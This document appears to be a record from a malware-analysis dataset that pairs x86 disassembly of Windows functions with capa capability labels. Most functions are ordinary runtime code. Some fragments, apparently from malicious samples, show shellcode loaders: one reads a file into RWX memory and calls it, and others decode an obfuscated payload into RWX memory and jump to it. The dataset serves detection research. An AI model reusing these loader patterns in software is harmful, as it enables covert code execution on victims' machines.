joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000bd72
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xa8
mov eax, dword [0x100120b4]
xor eax, ebp
mov dword [ebp + 0x74], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0x1c], 5
ja 0x1000be06
lea eax, [ebp - 0x24]
push eax
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesTcpipParameters
push reloc.ws2_32.dll_bind
mov dword [esi], 0x400
mov dword [esi + 4], 0x1387
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000be13
push edi
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
push str.MaxUserPort
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], 4
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
push dword [ebp - 0x24]
mov edi, eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x1000be13
mov eax, dword [ebp - 0x28]
mov dword [esi + 4], eax
jmp 0x1000be13
mov dword [esi], 0xc000
mov dword [esi + 4], 0xffff
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
xor eax, eax
call fcn.1000c212
add ebp, 0x78
leave
ret

Function at 0x1000c212
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100120b4]
jne 0x1000c21c
repz ret
jmp fcn.1000c5cb

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x1000aeb0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000aeb9
ret
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1001c28b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1001c29a
pop dword [ebp - 0x18]
mov eax, 0x1001c29a
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3bf2d
push 0
mov eax, 0x95627ac2
add eax, 0x7a9f669a
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x4c0a
mov ebx, eax
mov esi, 0x56865d85
add esi, 0xb97c847b
add esi, dword [ebp - 0x18]
mov edx, 0x6e317626
add edx, 0x5e48dbea
xor dword [ebp - 0x10], 0x5cb74513
mov edi, dword [esi]
add dword [ebp - 0x14], 0xa1614753
add edi, edx
mov dword [ebx], edi
xor dword [ebp - 8], edi
add ebx, 0xbb92d204
add ebx, 0x446d2e00
add esi, 0x1eb6585
add esi, 0xfe149a7f
loop 0x1001c2ee
add eax, 0x122fb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401520
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x401578
cmp byte [esi + ebx - 1], 0xa
je 0x40154c
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4060a4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x401ec0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
Function at 0x406be0
Capabilities:
Create directory

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov esi, eax
call fcn.00405758
test eax, eax
je 0x406c06
test ebx, ebx
je 0x406c06
cmp word [ebx], 0
je 0x406c06
push 0
push ebx
call sub.KERNEL32.DLL_CreateDirectoryW
jmp 0x406c0e
push 0
push esi
call sub.KERNEL32.DLL_CreateDirectoryA
test eax, eax
je 0x406c21
mov ecx, edi
mov edx, ebx
mov eax, esi
call fcn.00406fc0
xor eax, eax
jmp 0x406c3c
call sub.KERNEL32.DLL_F_L___c_
cmp eax, 2
je 0x406c30
cmp eax, 3
jne 0x406c37
mov eax, 2
jmp 0x406c3c
mov eax, 1
pop edi
pop esi
pop ebx
ret

Function at 0x408f48
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, 0x41764c
mov dword [ebp - 4], edx
mov esi, ecx
cmp dword [edi + 4], 0
mov ebx, eax
jne 0x408f68
call fcn.00408f10
mov eax, dword [ebp - 4]
jmp 0x408f81
mov edx, ebx
xor ecx, ecx
xor dl, byte [eax]
dec esi
mov cl, dl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
inc eax
mov ebx, edx
test esi, esi
jbe 0x408f89
test al, 7
jne 0x408f6d
cmp esi, 8
jb 0x409012
xor ebx, dword [eax]
xor ecx, ecx
mov cl, bl
sub esi, 8
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
xor ebx, dword [eax + 4]
add eax, 8
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
cmp esi, 8
mov ebx, edx
jae 0x408f92
xor ecx, ecx
mov dword [ebp - 8], ecx
jmp 0x409034
mov ecx, dword [ebp - 8]
mov edx, ebx
shr ebx, 8
xor dl, byte [eax + ecx]
and edx, 0xff
mov ecx, dword [edi + edx*4]
xor ecx, ebx
mov ebx, ecx
inc dword [ebp - 8]
cmp esi, dword [ebp - 8]
ja 0x409019
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x406004
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x422a1c], esi
push edi
jne 0x40603e
mov ecx, 0x422a18
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x40601a
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x422e18
jl 0x406015
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x406073
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a18]
xor eax, esi
inc ecx
dec edx
jne 0x406056
pop edi
pop esi
not eax
ret 0xc

Function at 0x4013c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
mov ecx, 0x4060e4
call fcn.00402a19
mov ebx, eax
mov dword [ebp - 4], 1
test ebx, ebx
je 0x401474
test esi, esi
jne 0x401474
mov eax, dword [ebp + 8]
shr eax, 4
inc eax
push esi
movzx ecx, ax
push ecx
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov edi, eax
test edi, edi
je 0x401458
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401452
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401452
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
add eax, esi
and ecx, 0xf
jbe 0x401441
cmp esi, eax
jae 0x401445
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401433
cmp esi, eax
jb 0x401449
xor eax, eax
jmp 0x401452
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
mov esi, eax
test eax, eax
jne 0x40147d
mov edi, dword [ebp - 4]
push edi
mov ecx, 0x4060e4
call fcn.00402a19
mov ebx, eax
inc edi
mov dword [ebp - 4], edi
test ebx, ebx
jne 0x4013e5
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401560
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov eax, dword [ebp + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401578
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4015aa
mov ecx, dword [ebp + 8]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x4015a6
cmp esi, eax
jae 0x4015aa
dec edi
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401598
cmp esi, eax
jb 0x4015b0
pop esi
xor eax, eax
pop edi
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret

Function at 0x402abc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x406054]
jne 0x402ac6
repz ret
jmp fcn.00402f69
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40d26b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40d27a
pop dword [ebp - 0x3c]
mov eax, 0x8c3a9a8
add eax, 0xf77d28d2
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x62c0c24f
sub dword [ebp - 0x4c], 0x146e7d04
mov dword [ebp - 0x48], 0x19d28ac
sub dword [ebp - 0x48], 0xcf69dc67
mov dword [ebp - 0x44], 0x5f76d44f
sub dword [ebp - 0x44], 0x132a9021
mov dword [ebp - 0x40], 0xdda28060
add dword [ebp - 0x40], 0x225d7fa0
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x8abed3bd
add eax, 0x75835cb7
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x4c448a5b
add dword [ebp - 0x4c], 0x282ddefb
mov dword [ebp - 0x48], 0x911e47c9
sub dword [ebp - 0x48], 0x4fb1e654
mov dword [ebp - 0x44], 0x987780eb
sub dword [ebp - 0x44], 0x3508147f
mov dword [ebp - 0x40], 0x8517a0ee
add dword [ebp - 0x40], 0x7ae85f12
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x73fa380c
add eax, 0x8c47f918
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e558
push 0
call eax
mov ecx, 0xf8107244
add ecx, 0x7efd83c
mov ebx, eax
mov edi, 0xbbfb3bf5
add edi, 0x4448080b
add edi, dword [ebp - 0x3c]
mov edx, 0xae163636
add edx, 0xee8ef508
xor dword [ebp - 0x10], 0xc71d590b
mov esi, dword [edi]
sub esi, edx
sub dword [ebp - 0x28], 0xbb43474b
mov dword [ebx], esi
add ebx, 4
add edi, 0x1ec2061e
sub edi, 0x1ec2061a
loop 0x40d39c
add eax, 0x11cd3
mov ebx, eax
add eax, 5
mov ecx, 0xd16f60f6
sub ecx, 0xd12f60f6
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401847
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401886
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401886
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401886
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401886
cmp dword [ecx + 0x74], 0xe
jbe 0x401886
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4060f9
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x406144
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00406316
test al, al
jne 0x40613e
sub edx, 2
cmp edx, edi
jne 0x406124
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x406166
lea eax, [edi + 2]
cmp edx, eax
je 0x406166
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00406045
add esp, 0x10
jmp 0x406260
push esi
lea ecx, [ebp - 0x255]
call fcn.00406316
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4061a9
push dword [ebp - 0x25c]
jmp 0x406156
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4061e6
cmp word [ebp - 0x226], 0
je 0x406207
cmp word [ebp - 0x226], ax
jne 0x4061e6
cmp word [ebp - 0x224], 0
je 0x406207
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00406045
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x406253
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4061c0
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40623b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x406260
push 0x405e75
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00408ec0
add esp, 0x10
jmp 0x406230
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401017
leave
ret

Function at 0x407d93
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40efac
push 0x40efa4
push str.FlsAlloc
push 0x1f
call fcn.00407cce
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407dc7
push dword [ebp + 8]
mov ecx, esi
call dword [0x40d104]
call esi
jmp 0x407dcd
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x407e11
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40efbc
push 0x40efb4
push str.FlsGetValue
push 0x21
call fcn.00407cce
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407e48
push dword [ebp + 8]
mov ecx, esi
call dword [0x40d104]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407e50
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40efc4
push 0x40efbc
push str.FlsSetValue
push 0x22
call fcn.00407cce
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407e8a
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40d104]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40cbe0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40cc0d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40cc0d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x5c00cac6
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x5c05aac4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x98
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0xa0], 0x9c
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.api_ms_win_core_sysinfo_l1_1_0.dll_GetVersionExA]
test eax, eax
je 0x5c00cb41
cmp dword [ebp - 0x90], 2
jne 0x5c00cb41
cmp dword [ebp - 0x9c], 5
jne 0x5c00cb48
cmp dword [ebp - 0x98], 0
jne 0x5c00cb48
and dword [0x5c05c064], 0
cmp word [ebp - 0xc], 0
je 0x5c00cb48
mov dword [0x5c05c5f4], 1
jmp 0x5c00cb48
and dword [0x5c05c064], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.5c0501b0
leave
ret

Function at 0x5c00cb54
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x2000000
push 0
push 0x5c00253c
push 0x80000002
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExA]
test eax, eax
jne 0x5c00cbca
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x5c002bb4
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExA]
test eax, eax
jne 0x5c00cbc1
cmp dword [ebp - 0xc], 4
jne 0x5c00cbc1
cmp dword [ebp - 0x10], eax
je 0x5c00cbc1
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
and dword [0x5c05c060], 0
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, dword [0x5c05c060]
test eax, eax
jns 0x5c00cbe0
push 3
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_1.dll_IsProcessorFeaturePresent]
mov dword [0x5c05c060], eax
leave
ret
Function at 0x5c00cbe2
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push esi
push edi
push 4
xor esi, esi
pop edi
mov dword [ebp - 8], edi
sub eax, esi
je 0x5c00ccc5
sub eax, 1
jne 0x5c00ccf1
mov ecx, 0x5c05aa50
call fcn.5c00cea0
call fcn.5c00cdf8
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_DisableThreadLibraryCalls]
call fcn.5c00cac6
mov dword [0x5c05c46c], 0x50
call fcn.5c00cb54
test eax, eax
mov eax, dword [0x5c05c46c]
je 0x5c00cc44
add eax, eax
mov dword [0x5c05c46c], eax
imul eax, eax, 0x28
mov dword [0x5c05c468], eax
lea eax, [ebp - 4]
push eax
push 0x2000000
push esi
push 0x5c00253c
push 0x80000002
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExA]
test eax, eax
jne 0x5c00ccb4
lea eax, [ebp - 8]
push eax
push 0x5c05c474
lea eax, [ebp - 0xc]
push eax
push esi
push 0x5c002bc0
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExA]
test eax, eax
jne 0x5c00cc9f
cmp dword [ebp - 0xc], edi
jne 0x5c00cc9f
mov eax, dword [0x5c05c474]
cmp eax, edi
jb 0x5c00cc9f
cmp eax, 0x80
jbe 0x5c00cca9
mov dword [0x5c05c474], 0x18
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
jmp 0x5c00ccbe
mov dword [0x5c05c474], 0x18
call fcn.5c00ccfa
jmp 0x5c00ccf1
mov ecx, dword [0x5c05aa5c]
mov eax, dword [ecx + 0x1c]
mov edx, dword [ecx + 0x18]
push eax
push edx
mov dword [ecx], esi
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x1c], esi
call dword [sym.imp.api_ms_win_eventing_provider_l1_1_0.dll_EventUnregister]
mov eax, dword [0x5c05c470]
test eax, eax
je 0x5c00ccf1
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_FreeLibrary]
xor eax, eax
pop edi
inc eax
pop esi
leave
ret 0xc
Function at 0x5c00ccfa
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5c05aac4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleA]
mov esi, 0x104
lea ecx, [ebp - 0x108]
push esi
push ecx
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5c00cd37
sub ecx, edx
lea eax, [ecx - 1]
test eax, eax
js 0x5c00cd56
cmp byte [ebp + eax - 0x108], 0x5c
je 0x5c00cd56
sub eax, 1
jns 0x5c00cd47
lea ecx, [ebp - 0x20c]
mov edx, ecx
sub eax, edx
lea edx, [ebp - 0x107]
add edx, eax
lea eax, [esi + 0x7ffffefa]
test eax, eax
je 0x5c00cd81
mov al, byte [edx + ecx]
test al, al
je 0x5c00cd81
mov byte [ecx], al
inc ecx
sub esi, 1
jne 0x5c00cd68
test esi, esi
jne 0x5c00cd86
dec ecx
push ebx
lea eax, [ebp - 0x210]
mov byte [ecx], bl
push eax
push ebx
push 0x2000000
push ebx
push ebx
push ebx
push 0x5c002bcc
push 0x80000002
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCreateKeyExA]
test eax, eax
jne 0x5c00cdea
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5c00cdb6
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x20c]
push eax
push 1
push ebx
push 0x5c002c00
push dword [ebp - 0x210]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExA]
push dword [ebp - 0x210]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.5c0501b0
leave
ret

Function at 0x5c01524f
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x5c05c5fc]
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
test eax, eax
je 0x5c01528b
push eax
push 1
lea eax, [ebp - 4]
push 4
push eax
call dword [sym.imp.msvcrt.dll_fwrite]
push dword [0x5c05c5fc]
lea eax, [ebp - 8]
push 1
push 4
push eax
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0x20
leave
ret

Function at 0x5c01528d
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [0x5c05c5fc]
test eax, eax
je 0x5c0152a4
push eax
push edx
push 1
push ecx
call dword [sym.imp.msvcrt.dll_fwrite]
add esp, 0x10
ret